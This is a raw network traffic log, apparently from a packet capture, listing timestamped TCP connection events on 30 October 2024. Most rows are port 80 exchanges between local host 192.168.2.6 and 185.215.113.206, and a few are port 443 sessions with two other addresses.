Oct 30, 2024 15:59:42.385843992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385857105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385898113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385911942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385950089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385962009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385972977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385987043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.385988951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.385999918 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.386022091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.386056900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386068106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386120081 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.386153936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386166096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386176109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386188984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386198044 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.386200905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386233091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.386248112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.386346102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386358976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386370897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386384964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386398077 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.386399984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386425018 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.386437893 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.386522055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386532068 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386542082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386554003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386565924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386570930 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.386581898 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.386617899 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.386914015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386955023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.386965990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387001991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.387284994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387329102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387340069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387373924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.387447119 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387459040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387470007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387481928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387511015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.387530088 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.387533903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387546062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387573957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387586117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387587070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.387628078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.387728930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387739897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387789965 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387792110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.387801886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387813091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387834072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387840986 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.387856007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.387883902 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.387944937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387975931 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.387986898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388012886 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.388035059 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.388089895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388117075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388127089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388158083 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.388508081 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388533115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388542891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388580084 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.388595104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.388736010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388783932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388787985 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.388797045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388833046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388834953 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.388885975 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388928890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388941050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.388968945 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.388981104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.388993979 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389007092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389044046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.389065981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389076948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389113903 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.389144897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389203072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389214039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389225960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389238119 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.389256954 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.389272928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389328003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389338970 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389352083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389377117 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.389390945 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.389698982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389717102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389728069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389758110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.389781952 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.389839888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389878035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389889956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389930964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.389955044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389967918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.389998913 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.390393019 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.390410900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.390466928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.390490055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.390516996 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.390537977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.390547991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.390590906 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391192913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391212940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391223907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391236067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391263008 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391299009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391319990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391333103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391360044 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391372919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391664982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391681910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391691923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391720057 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391732931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391757011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391768932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391792059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391802073 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391808033 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391813993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391828060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391836882 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391855955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391881943 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391894102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391906977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391930103 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391937971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391947985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.391948938 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.391985893 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392082930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392093897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392106056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392137051 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392160892 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392163038 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392175913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392187119 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392199039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392199993 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392213106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392218113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392241955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392266035 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392307043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392318964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392330885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392343044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392343998 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392355919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392363071 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392395973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392406940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392426968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392437935 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392462015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392474890 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392534971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392545938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392558098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392569065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392577887 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392590046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392607927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392618895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392620087 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392632008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392642975 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.392654896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392654896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.392683983 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.401038885 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.401357889 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.401546001 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.402323961 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.402344942 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.402360916 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.402369976 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.405471087 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.405522108 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.405692101 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.405879974 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.405894041 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.483840942 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.483927965 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.483973026 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.483973026 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.484014034 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.484364033 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.484386921 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.484405994 CET	49811	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.484411955 CET	443	49811	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.487622023 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.487687111 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.487756968 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.487914085 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.487931013 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.511744022 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.517425060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.716501951 CET	443	49813	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:42.719528913 CET	49813	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:42.719566107 CET	443	49813	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:42.719954967 CET	443	49813	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:42.721147060 CET	49813	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:42.721249104 CET	443	49813	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:42.721307993 CET	49813	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:42.763338089 CET	443	49813	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:42.775610924 CET	49813	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:42.788300991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788315058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788368940 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.788449049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788460016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788470984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788495064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.788523912 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.788528919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788542032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788578033 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.788626909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788639069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788686991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788691998 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.788705111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788717031 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.788754940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788758039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.788768053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788779974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788805962 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.788819075 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.788846016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788856030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788861990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788923025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.788938999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.788980961 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789000988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789012909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789022923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789046049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789050102 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789078951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789088964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789092064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789103031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789138079 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789172888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789264917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789277077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789288044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789302111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789305925 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789324999 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789364100 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789387941 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789398909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789410114 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789414883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789428949 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789448023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789493084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789505005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789516926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789532900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789557934 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789611101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789623976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789637089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789649010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789660931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789673090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789704084 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789800882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789813042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789823055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789834976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789840937 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789846897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789855003 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789886951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.789952040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789964914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789977074 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.789994955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790005922 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790102005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790113926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790124893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790136099 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790144920 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790144920 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790148973 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790169954 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790204048 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790312052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790323973 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790337086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790348053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790359974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790361881 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790373087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790385008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790390015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.790396929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790410042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.790409088 CET	49716	80	192.168.2.6	185.215.113.206
